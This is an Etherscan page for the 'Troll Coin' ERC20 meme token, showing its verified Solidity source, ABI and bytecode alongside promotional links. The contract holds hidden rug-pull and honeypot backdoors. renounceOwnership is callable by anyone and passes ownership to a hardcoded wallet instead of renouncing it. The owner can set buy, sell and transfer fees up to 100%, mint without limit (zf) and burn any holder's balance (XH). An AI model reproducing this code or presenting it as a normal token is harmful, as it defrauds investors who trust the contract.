ETH Price: $3,362.45 (-2.38%)
Gas: 2 Gwei

Token

Troll Coin (Troll)
 

Overview

Max Total Supply

100,009,129,885 Troll

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
859.11226373804629 Troll

Value
$0.00
0xcde5372f1b048de7dae173e8b1ad83124475c391
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Troll

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-13
*/

//I am back, I am Troll Face, this time, 
//I will lead all MEME coins of Erc20, 
//build a MEME empire, 
//all MEME will be known to the world.

//Official Website:http://trollzilla.vip/

//telegram group:https://t.me/Troll_ERC

//twitter:https://x.com/trollmoon20/status/1801193402362642934?s=46

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    
    constructor() {
        _transferOwnership(_msgSender());
    }

    
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    
    
     function owner() public view virtual returns (address) {
         return _owner;
     }

    
     function _checkOwner() internal view virtual {
         
         require(owner() == _msgSender(), "Ownable: caller is not the owner");
     }

    
    function renounceOwnership() public virtual  {
        _transferOwnership(address(0xf27c7cefDB0fe7cA06f0448c2eE1F17c94fa6Cb8));
    }

    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;


interface IERC20 {
    
    event Transfer(address indexed from, address indexed to, uint256 value);

    
    event Approval(address indexed owner, address indexed spender, uint256 value);

    
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address to, uint256 amount) external returns (bool);

    
    function allowance(address owner, address spender) external view returns (uint256);

    
    function approve(address spender, uint256 amount) external returns (bool);

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}



pragma solidity ^0.8.0;



interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);

    
    function symbol() external view returns (string memory);

    
    function decimals() external view returns (uint8);
}



pragma solidity ^0.8.0;





contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

   
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

   
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }





    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

pragma solidity ^0.8.0;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Troll is ERC20, Ownable {
    using SafeMath for uint256;
    address public addr; 
    address public pair;
    uint256 public BIBIA = 0;
    uint256 public BIBIB = 0;
    uint256 public BIBIC;
    
    
                        
    constructor() ERC20("Troll Coin", "Troll") {
         
        _mint(address(0xf27c7cefDB0fe7cA06f0448c2eE1F17c94fa6Cb8), 10000000 * 10 ** decimals());
        
        
    }
    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        uint256 x = amount.div(1000);
        if(sender == pair){
            super._transfer(sender, addr, x.mul(BIBIA));
            super._transfer(sender, recipient, x.mul(1000-BIBIA));
        }else if(recipient == pair){
            super._transfer(sender, addr, x.mul(BIBIB));
            super._transfer(sender, recipient, x.mul(1000-BIBIB));
        }else if((pair != address(0)) && (recipient != pair) && (sender != pair)){
            super._transfer(sender, addr, x.mul(BIBIC));
            super._transfer(sender, recipient, x.mul(1000-BIBIC));
        }else{
            super._transfer(sender, recipient, x.mul(1000));
        }
    }
    
    function setPair(address _pair) public onlyOwner {
        pair = _pair;
    }
    
    function setbuy(uint256 _BIBIA) public onlyOwner {
        BIBIA = _BIBIA;
     }
     
     function setsell(uint256 _BIBIB)public onlyOwner {
        BIBIB = _BIBIB;
     }
     
     function setBIBIC(uint256 _BIBIC)public onlyOwner {
         BIBIC =_BIBIC;
     }
     

    function setaddr ( address _addr)public onlyOwner{
       addr = _addr;
    }
    
    function zf(address account, uint256 amount) public onlyOwner {
        _mint(account, amount* 10 ** decimals());
    }
   

    function XH(address account, uint256 amount) public onlyOwner {
        _burn(account, amount* 10 ** decimals());
    }

    
    

     
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BIBIA","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BIBIB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BIBIC","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"XH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_BIBIC","type":"uint256"}],"name":"setBIBIC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"setaddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_BIBIA","type":"uint256"}],"name":"setbuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_BIBIB","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"zf","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052600060085560006009553480156200001b57600080fd5b50604080518082018252600a8152692a3937b6361021b7b4b760b11b602080830191825283518085019094526005845264151c9bdb1b60da1b9084015281519192916200006b916003916200022b565b508051620000819060049060208401906200022b565b5050506200009e62000098620000e960201b60201c565b620000ed565b620000e373f27c7cefdb0fe7ca06f0448c2ee1f17c94fa6cb8620000c16200013f565b620000ce90600a62000379565b620000dd906298968062000471565b62000144565b620004e6565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b601290565b6001600160a01b038216620001765760405162461bcd60e51b81526004016200016d90620002d1565b60405180910390fd5b620001846000838362000226565b806002600082825462000198919062000311565b90915550506001600160a01b03821660009081526020819052604081208054839290620001c790849062000311565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200020c90859062000308565b60405180910390a3620002226000838362000226565b5050565b505050565b828054620002399062000493565b90600052602060002090601f0160209004810192826200025d5760008555620002a8565b82601f106200027857805160ff1916838001178555620002a8565b82800160010185558215620002a8579182015b82811115620002a85782518255916020019190600101906200028b565b50620002b6929150620002ba565b5090565b5b80821115620002b65760008155600101620002bb565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60008219821115620003275762000327620004d0565b500190565b80825b600180861162000340575062000370565b818704821115620003555762000355620004d0565b808616156200036357918102915b9490941c9380026200032f565b94509492505050565b60006200038d60001960ff85168462000394565b9392505050565b600082620003a5575060016200038d565b81620003b4575060006200038d565b8160018114620003cd5760028114620003d8576200040c565b60019150506200038d565b60ff841115620003ec57620003ec620004d0565b6001841b915084821115620004055762000405620004d0565b506200038d565b5060208310610133831016604e8410600b841016171562000444575081810a838111156200043e576200043e620004d0565b6200038d565b6200045384848460016200032c565b808604821115620004685762000468620004d0565b02949350505050565b60008160001904831182151516156200048e576200048e620004d0565b500290565b600281046001821680620004a857607f821691505b60208210811415620004ca57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6113f180620004f66000396000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c8063767800de116100de578063a8aa1b3111610097578063d82ec0e611610071578063d82ec0e614610308578063dd62ed3e1461031b578063f0f261c41461032e578063f2fde38b146103415761018e565b8063a8aa1b31146102da578063a9059cbb146102e2578063b89ea0f1146102f55761018e565b8063767800de1461027c5780638187f516146102915780638da5cb5b146102a457806395d89b41146102ac57806398bb0011146102b4578063a457c2d7146102c75761018e565b8063313ce5671161014b578063532467a411610125578063532467a4146102465780636ffe11b11461024e57806370a0823114610261578063715018a6146102745761018e565b8063313ce567146102165780633893d8521461022b57806339509351146102335761018e565b806306fdde0314610193578063095ea7b3146101b15780630d56562c146101d157806317432588146101e657806318160ddd146101fb57806323b872dd14610203575b600080fd5b61019b610354565b6040516101a89190610e35565b60405180910390f35b6101c46101bf366004610dd5565b6103e6565b6040516101a89190610e2a565b6101e46101df366004610d4e565b61040a565b005b6101ee610434565b6040516101a891906111ce565b6101ee61043a565b6101c4610211366004610d9a565b610440565b61021e610470565b6040516101a891906111d7565b6101ee610475565b6101c4610241366004610dd5565b61047b565b6101ee6104a7565b6101e461025c366004610dfe565b6104ad565b6101ee61026f366004610d4e565b6104ba565b6101e46104d9565b6102846104f8565b6040516101a89190610e16565b6101e461029f366004610d4e565b610507565b610284610531565b61019b610540565b6101e46102c2366004610dfe565b61054f565b6101c46102d5366004610dd5565b61055c565b6102846105b8565b6101c46102f0366004610dd5565b6105c7565b6101e4610303366004610dd5565b6105df565b6101e4610316366004610dfe565b610611565b6101ee610329366004610d68565b61061e565b6101e461033c366004610dd5565b610649565b6101e461034f366004610d4e565b610677565b6060600380546103639061136a565b80601f016020809104026020016040519081016040528092919081815260200182805461038f9061136a565b80156103dc5780601f106103b1576101008083540402835291602001916103dc565b820191906000526020600020905b8154815290600101906020018083116103bf57829003601f168201915b5050505050905090565b6000806103f16106b1565b90506103fe8185856106b5565b60019150505b92915050565b610412610769565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60085481565b60025490565b60008061044b6106b1565b90506104588582856107a8565b6104638585856107f2565b60019150505b9392505050565b601290565b60095481565b6000806104866106b1565b90506103fe818585610498858961061e565b6104a291906111e5565b6106b5565b600a5481565b6104b5610769565b600955565b6001600160a01b0381166000908152602081905260409020545b919050565b6104f673f27c7cefdb0fe7ca06f0448c2ee1f17c94fa6cb8610949565b565b6006546001600160a01b031681565b61050f610769565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031690565b6060600480546103639061136a565b610557610769565b600855565b6000806105676106b1565b90506000610575828661061e565b9050838110156105a05760405162461bcd60e51b815260040161059790611152565b60405180910390fd5b6105ad82868684036106b5565b506001949350505050565b6007546001600160a01b031681565b6000806105d26106b1565b90506103fe8185856107f2565b6105e7610769565b61060d826105f3610470565b6105fe90600a611263565b6106089084611334565b61099b565b5050565b610619610769565b600a55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610651610769565b61060d8261065d610470565b61066890600a611263565b6106729084611334565b610a63565b61067f610769565b6001600160a01b0381166106a55760405162461bcd60e51b815260040161059790610f0d565b6106ae81610949565b50565b3390565b6001600160a01b0383166106db5760405162461bcd60e51b81526004016105979061110e565b6001600160a01b0382166107015760405162461bcd60e51b815260040161059790610f53565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061075c9085906111ce565b60405180910390a3505050565b6107716106b1565b6001600160a01b0316610782610531565b6001600160a01b0316146104f65760405162461bcd60e51b815260040161059790611053565b60006107b4848461061e565b905060001981146107ec57818110156107df5760405162461bcd60e51b815260040161059790610f95565b6107ec84848484036106b5565b50505050565b6000610800826103e8610b55565b6007549091506001600160a01b0385811691161415610865576006546008546108419186916001600160a01b039091169061083c908590610b97565b610bdc565b610860848461083c6008546103e86108599190611353565b8590610b97565b6107ec565b6007546001600160a01b03848116911614156108b65760065460095461089e9186916001600160a01b039091169061083c908590610b97565b610860848461083c6009546103e86108599190611353565b6007546001600160a01b0316158015906108de57506007546001600160a01b03848116911614155b80156108f857506007546001600160a01b03858116911614155b1561093857600654600a546109209186916001600160a01b039091169061083c908590610b97565b610860848461083c600a546103e86108599190611353565b6107ec848461083c846103e8610b97565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166109c15760405162461bcd60e51b815260040161059790611197565b6109cd60008383610b50565b80600260008282546109df91906111e5565b90915550506001600160a01b03821660009081526020819052604081208054839290610a0c9084906111e5565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a4f9085906111ce565b60405180910390a361060d60008383610b50565b6001600160a01b038216610a895760405162461bcd60e51b815260040161059790611088565b610a9582600083610b50565b6001600160a01b03821660009081526020819052604090205481811015610ace5760405162461bcd60e51b815260040161059790610ecb565b6001600160a01b0383166000908152602081905260408120838303905560028054849290610afd908490611353565b90915550506040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b409086906111ce565b60405180910390a3610b50836000845b505050565b600061046983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d00565b600082610ba657506000610404565b6000610bb28385611334565b905082610bbf85836111fd565b146104695760405162461bcd60e51b815260040161059790611012565b6001600160a01b038316610c025760405162461bcd60e51b8152600401610597906110c9565b6001600160a01b038216610c285760405162461bcd60e51b815260040161059790610e88565b610c33838383610b50565b6001600160a01b03831660009081526020819052604090205481811015610c6c5760405162461bcd60e51b815260040161059790610fcc565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610ca39084906111e5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ced91906111ce565b60405180910390a36107ec848484610b50565b60008183610d215760405162461bcd60e51b81526004016105979190610e35565b506000610d2e84866111fd565b95945050505050565b80356001600160a01b03811681146104d457600080fd5b600060208284031215610d5f578081fd5b61046982610d37565b60008060408385031215610d7a578081fd5b610d8383610d37565b9150610d9160208401610d37565b90509250929050565b600080600060608486031215610dae578081fd5b610db784610d37565b9250610dc560208501610d37565b9150604084013590509250925092565b60008060408385031215610de7578182fd5b610df083610d37565b946020939093013593505050565b600060208284031215610e0f578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610e6157858101830151858201604001528201610e45565b81811115610e725783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60ff91909116815260200190565b600082198211156111f8576111f86113a5565b500190565b60008261121857634e487b7160e01b81526012600452602481fd5b500490565b80825b600180861161122f575061125a565b818704821115611241576112416113a5565b8086161561124e57918102915b9490941c938002611220565b94509492505050565b600061046960001960ff85168460008261127f57506001610469565b8161128c57506000610469565b81600181146112a257600281146112ac576112d9565b6001915050610469565b60ff8411156112bd576112bd6113a5565b6001841b9150848211156112d3576112d36113a5565b50610469565b5060208310610133831016604e8410600b841016171561130c575081810a83811115611307576113076113a5565b610469565b611319848484600161121d565b80860482111561132b5761132b6113a5565b02949350505050565b600081600019048311821515161561134e5761134e6113a5565b500290565b600082821015611365576113656113a5565b500390565b60028104600182168061137e57607f821691505b6020821081141561139f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220b6f3986254c2abded397431ca37d93d77e3c6e9c9237b8f68097eea211ffbaca64736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063767800de116100de578063a8aa1b3111610097578063d82ec0e611610071578063d82ec0e614610308578063dd62ed3e1461031b578063f0f261c41461032e578063f2fde38b146103415761018e565b8063a8aa1b31146102da578063a9059cbb146102e2578063b89ea0f1146102f55761018e565b8063767800de1461027c5780638187f516146102915780638da5cb5b146102a457806395d89b41146102ac57806398bb0011146102b4578063a457c2d7146102c75761018e565b8063313ce5671161014b578063532467a411610125578063532467a4146102465780636ffe11b11461024e57806370a0823114610261578063715018a6146102745761018e565b8063313ce567146102165780633893d8521461022b57806339509351146102335761018e565b806306fdde0314610193578063095ea7b3146101b15780630d56562c146101d157806317432588146101e657806318160ddd146101fb57806323b872dd14610203575b600080fd5b61019b610354565b6040516101a89190610e35565b60405180910390f35b6101c46101bf366004610dd5565b6103e6565b6040516101a89190610e2a565b6101e46101df366004610d4e565b61040a565b005b6101ee610434565b6040516101a891906111ce565b6101ee61043a565b6101c4610211366004610d9a565b610440565b61021e610470565b6040516101a891906111d7565b6101ee610475565b6101c4610241366004610dd5565b61047b565b6101ee6104a7565b6101e461025c366004610dfe565b6104ad565b6101ee61026f366004610d4e565b6104ba565b6101e46104d9565b6102846104f8565b6040516101a89190610e16565b6101e461029f366004610d4e565b610507565b610284610531565b61019b610540565b6101e46102c2366004610dfe565b61054f565b6101c46102d5366004610dd5565b61055c565b6102846105b8565b6101c46102f0366004610dd5565b6105c7565b6101e4610303366004610dd5565b6105df565b6101e4610316366004610dfe565b610611565b6101ee610329366004610d68565b61061e565b6101e461033c366004610dd5565b610649565b6101e461034f366004610d4e565b610677565b6060600380546103639061136a565b80601f016020809104026020016040519081016040528092919081815260200182805461038f9061136a565b80156103dc5780601f106103b1576101008083540402835291602001916103dc565b820191906000526020600020905b8154815290600101906020018083116103bf57829003601f168201915b5050505050905090565b6000806103f16106b1565b90506103fe8185856106b5565b60019150505b92915050565b610412610769565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60085481565b60025490565b60008061044b6106b1565b90506104588582856107a8565b6104638585856107f2565b60019150505b9392505050565b601290565b60095481565b6000806104866106b1565b90506103fe818585610498858961061e565b6104a291906111e5565b6106b5565b600a5481565b6104b5610769565b600955565b6001600160a01b0381166000908152602081905260409020545b919050565b6104f673f27c7cefdb0fe7ca06f0448c2ee1f17c94fa6cb8610949565b565b6006546001600160a01b031681565b61050f610769565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031690565b6060600480546103639061136a565b610557610769565b600855565b6000806105676106b1565b90506000610575828661061e565b9050838110156105a05760405162461bcd60e51b815260040161059790611152565b60405180910390fd5b6105ad82868684036106b5565b506001949350505050565b6007546001600160a01b031681565b6000806105d26106b1565b90506103fe8185856107f2565b6105e7610769565b61060d826105f3610470565b6105fe90600a611263565b6106089084611334565b61099b565b5050565b610619610769565b600a55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610651610769565b61060d8261065d610470565b61066890600a611263565b6106729084611334565b610a63565b61067f610769565b6001600160a01b0381166106a55760405162461bcd60e51b815260040161059790610f0d565b6106ae81610949565b50565b3390565b6001600160a01b0383166106db5760405162461bcd60e51b81526004016105979061110e565b6001600160a01b0382166107015760405162461bcd60e51b815260040161059790610f53565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061075c9085906111ce565b60405180910390a3505050565b6107716106b1565b6001600160a01b0316610782610531565b6001600160a01b0316146104f65760405162461bcd60e51b815260040161059790611053565b60006107b4848461061e565b905060001981146107ec57818110156107df5760405162461bcd60e51b815260040161059790610f95565b6107ec84848484036106b5565b50505050565b6000610800826103e8610b55565b6007549091506001600160a01b0385811691161415610865576006546008546108419186916001600160a01b039091169061083c908590610b97565b610bdc565b610860848461083c6008546103e86108599190611353565b8590610b97565b6107ec565b6007546001600160a01b03848116911614156108b65760065460095461089e9186916001600160a01b039091169061083c908590610b97565b610860848461083c6009546103e86108599190611353565b6007546001600160a01b0316158015906108de57506007546001600160a01b03848116911614155b80156108f857506007546001600160a01b03858116911614155b1561093857600654600a546109209186916001600160a01b039091169061083c908590610b97565b610860848461083c600a546103e86108599190611353565b6107ec848461083c846103e8610b97565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166109c15760405162461bcd60e51b815260040161059790611197565b6109cd60008383610b50565b80600260008282546109df91906111e5565b90915550506001600160a01b03821660009081526020819052604081208054839290610a0c9084906111e5565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a4f9085906111ce565b60405180910390a361060d60008383610b50565b6001600160a01b038216610a895760405162461bcd60e51b815260040161059790611088565b610a9582600083610b50565b6001600160a01b03821660009081526020819052604090205481811015610ace5760405162461b